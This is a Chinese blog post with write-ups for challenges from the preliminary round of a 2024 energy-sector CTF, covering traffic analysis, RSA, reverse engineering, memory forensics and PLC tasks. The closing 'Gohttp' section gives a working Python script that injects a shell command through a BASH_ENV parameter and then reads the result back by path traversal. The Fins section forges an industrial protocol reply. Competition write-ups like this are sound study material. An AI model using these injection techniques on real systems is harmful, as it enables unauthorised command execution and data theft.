2024中国能源网络安全大赛-①初赛 Writeup

wgf42421

已于 2024-09-14 20:54:08 修改

阅读量400

点赞数 4

文章标签： python

于 2024-08-01 06:37:32 首次发布

本文链接：https://blog.csdn.net/wgf42421/article/details/140837202

版权

Modbus-A

tshark -r a.pcapng -T fields -e modbus.regval_uint16 | sed '/^\s*$/d' > modbus.data.txt

Cyberchef From decimal

seeyouagain

fixpng然后得到 flag@abc
foremost提取zip文件. 解压 ,base64隐写

easysys

解完不对…驱动调试结果正常。原因是中间有花指令。

.text:0000000140001000                 push    rbp
.text:0000000140001001                 call    $+5             ; 花指令 直接+5到 100E的位置。种子是 0x91D
.text:0000000140001006                 pop     rbp
.text:0000000140001007                 add     rbp, 8
.text:000000014000100B                 push    rbp
.text:000000014000100C                 retn
.text:000000014000100C ; ---------------------------------------------------------------------------
.text:000000014000100D                 db 0E8h
.text:000000014000100E ; ---------------------------------------------------------------------------
.text:000000014000100E                 pop     rbp
.text:000000014000100F                 mov     dword ptr [rsp+2Ch], 91Dh
.text:0000000140001017                 retn

from ctypes import *
cdll.msvcrt.srand(0x1BF52)   # 实际是0x91d

"""
  for ( i = 0; i < 36; ++i )
  {
    if ( i == 8 || i == 13 || i == 18 || i == 23 )
    {
      *(_BYTE *)(a1 + i) = 45;
    }
    else
    {
      v3 = rand() % 16;
      strcpy(v4, "0123456789abcdef");
      *(_BYTE *)(a1 + i) = v4[v3];
    }
  }
"""

def rand_win():
    return cdll.msvcrt.rand()

lst = [0] * 36
for i in range(36):
    if ( i == 8 or i == 13 or i == 18 or i == 23 ):
        lst[i] = 45
    else:
        v3 = rand_win() % 16
        v4= "0123456789abcdef"
        lst[i] = ord(v4[v3])
print(bytearray(lst))
#  flag{989aeeb9-c0ea-1827-1849-db007f2540ee}  完全不对

直接加载驱动 debug view调试

flag{97e45a19-624d-3c47-bc17-57f1c3bcbb26}

Goose

流量过滤
goose.allData == 4
提取最后一位
84 86 112 88 82 48 78 97 77 122 78 78 84 108 74 72 83 48 53 75 86 69 99 48 78 69 82 78 84 85 112 87 84 85 49 90 82 69 100 79 87 108 82 72 83 106 90 82 80 84 48 57 80 81 61 61
转码+base64
flag{cbe5378615c03732}

IP找不到了

根据提示双网卡，分析包
过滤最大HTTP包/diag.htm 追踪流
【2nd IP-Addr: 172.16.129.0】
flag{172.16.129.0}

Fins协议分析

分析题干omron请求包

46494e530000001b000000020000000080000200 64 00 00 fc 00 40 0102 31 00 00 00 00 01 01

64 fc：server - client

40 serviceID

0102为[write code]

31…0101 area.number

根据已知流量 write code 回复为 0000

构造回复包

flag{46494e53000000160000000200000000c0000200fc000064004001020000}

结构化数据分类分级识别-A

数据筛选清洗得到

md5加密得到flag

找到钥匙

jpg用010 Editor打开找到n , e
foremost找到flag.enc == c

import gmpy2
from Crypto.Util.number import bytes_to_long, long_to_bytes

h = bytes.fromhex('115F379D944F55823043AA824FF13F51BA73E632B4F93BE44A0C467FE51B25B4')
c = bytes_to_long(h)
n = 0x80C23546F66C490FAB718322666B3AD9C5D31C4D4BDA4C1D783FC73FB4115253
# yafu ***factors found**

p = 336864880216429367305541498622715085359
q = 172885878211796787522220685199694830877
e = 65537
assert n == p * q
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
t = gmpy2.gcd(e, phi)
m = pow(c,d,n)
print(long_to_bytes(m))
# flag{ed22321e9ae1ca8}

PLC

手动计算 –

手动计算。(5678 & 7896) << 3 = 45120 转 INT = -20416 解密时使用 20416

# python
print(np.array(45120).astype('int16'))
# c
printf("%d", (short)45120); // -20416

仿真方式 –

安装施耐德 Unity Pro XL 8 ，仿真…运行…得到 -20416…

https://www.sojson.com/encrypt_rc4.html 解密 rc4.得到flag
U2FsdGVkX196pWxlPoR49+G/eJXJcKqLOruhqNiHzQ==

flag{uddi40lkg}

PLC 中 WORD与INT的取值范围： W#16#0000~~~W#16#FFFF
十进制：
WORD：0-65535。
INT：-32768—+32767。

decproj

冰蝎流量解密。密钥是 123456的md5值 e10adc3949ba59ab

Challenge1_enc.bak
Challenge1_enc.dvb
Challenge1_enc.dvl
Challenge1_enc.ecam
Challenge1_enc.eiptag
Challenge1_enc.etg
Challenge1_enc.ini
Challenge1_enc.inivals
Challenge1_enc.isp
Challenge1_enc.opcuatag
Challenge1_enc.pnt
Challenge1_enc.SRbitExistedInProg

2919号包提取到组态工程。 https://wwi.lanzoup.com/ilal01wlpu1g

信息搜集拿到台达PLC软件 ISPSoft。打开后想办法获取工程密码。找不到，不会了。直接逆向。拿到 d3ltaplc 。按说明提交flag

browser

R-Studio或直接搜索PK提取出flag.zip 或者 vol filescan里有个叫 key 的文件。其实就是flag.zip。

https://www.cnblogs.com/Arthurian/p/13830381.html 默认浏览器在 Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

volatility -f browser.raw --profile=Win7SP1x64 printkey -K “Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice”> kkk.txt

Values:
REG_SZ Progid : (S) Tor-Browser-v2.51

密码为 Tor-Browser-v2.51

flag{e3ed8aa2-68d4-4cc8-a664-1f3fd8136325}

testjava

直接看这个吧 https://mp.weixin.qq.com/s/PC7oYeLmMgxLWmawRQAF4g

easy_re-A

UPX魔改了。不会恢复。直接Attach。（看有人直接用 Cyberchef异或爆破的）

关键比较

00007FF761DF10C9 | 8B4424 20                | mov eax,dword ptr ss:[rsp+20]           | rsp+20 counter
00007FF761DF10CD | FFC0                     | inc eax                                 |
00007FF761DF10CF | 894424 20                | mov dword ptr ss:[rsp+20],eax           |
00007FF761DF10D3 | 837C24 20 26             | cmp dword ptr ss:[rsp+20],26            | 26:'&'
00007FF761DF10D8 | 7D 25                    | jge easy_iot.upx.7FF761DF10FF           |
00007FF761DF10DA | 48:634424 20             | movsxd rax,dword ptr ss:[rsp+20]        |
00007FF761DF10DF | 48:8D0D 1AAF0100         | lea rcx,qword ptr ds:[7FF761E0C000]     | 保存着密文
00007FF761DF10E6 | 0FB60401                 | movzx eax,byte ptr ds:[rcx+rax]         |
00007FF761DF10EA | 48:634C24 20             | movsxd rcx,dword ptr ss:[rsp+20]        |
00007FF761DF10EF | 0FB64C0C 30              | movzx ecx,byte ptr ss:[rsp+rcx+30]      |
00007FF761DF10F4 | 83F1 62                  | xor ecx,62                              | 异或 0x62
00007FF761DF10F7 | 3BC1                     | cmp eax,ecx                             |
00007FF761DF10F9 | 74 02                    | je easy_iot.upx.7FF761DF10FD            |
00007FF761DF10FB | EB 02                    | jmp easy_iot.upx.7FF761DF10FF           |
00007FF761DF10FD | EB CA                    | jmp <easy_iot.upx.ii>                   |

a = bytes.fromhex('04 0E 03 05 19 26 50 53 51 23 52 20 56 21 27 54 56 55 52 56 51 57 51 21 57 56 55 54 52 20 24 24 55 5A 57 26 5B 1F ')
for c in a:
    print(chr(0x62 ^ c), end='')

Gohttp

https://mp.weixin.qq.com/s/wOddOgJLRdyqK2d2LmV8Hw

import requests


def encode(text):
    from urllib.parse import quote
    string_to_encode = text
    return quote(string_to_encode)


data = encode('cat /home/ctf/flag')
response = requests.get(f"http://101.230.70.253:25875/syncData?ApiUrl=PATH%3a%3aBASH_ENV%3d'$({data}>+/tmp/3.txt)'")
print(response.text)


res = requests.get('http://101.230.70.253:25875/?tpl=../../../../../tmp/3.txt')
print(res.text)